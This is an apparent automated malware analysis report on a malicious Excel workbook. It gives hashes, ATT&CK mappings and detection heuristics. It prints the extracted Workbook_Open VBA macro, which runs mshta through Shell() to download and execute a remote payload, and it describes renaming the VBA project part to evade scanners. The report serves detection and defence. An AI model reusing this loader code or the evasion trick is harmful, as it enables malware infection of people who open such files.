Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 83faecbef924ffbc…

MALICIOUS

Office (OOXML) / .XLSX

35.5 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-05-26
MD5: b1de71a7369b8398d18708df20890588 SHA-1: 9ea7fad539b863d1d8781934195a434783c118c3 SHA-256: 83faecbef924ffbcce0c8939e5b9b4c453699df1cbbebaf11bdb43e8fa42d63e
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open VBA macro. This macro is designed to execute the command 'mshta https://www.bitly.com/kddjkodwkwdokdwi', which is a critical finding indicating the execution of a LOLBin (mshta) to download and run a second-stage payload from a constructed URL. The VBA project part was also renamed to evade detection.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/kaoskdoaskdok.b)
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 895 bytes
SHA-256: 951af59be81c871bbddbac4b94169ce9596ef8a4afc4699f5dcdc63685c7b6d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
Dim X As String
Dim Y As String
Dim Z As String
X = "mshta  "
Y = "https://www.bitly.com/"
Z = "kddjkodwkwdokdwi"
Debug.Print X
Debug.Print Y
Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/kaoskdoaskdok.b 14848 bytes
SHA-256: 78514cf4b284da4352c3503acd6dba0508f1087271738fb8878ebc3742d79930

Open this report in the interactive analyzer, or submit your own file for analysis.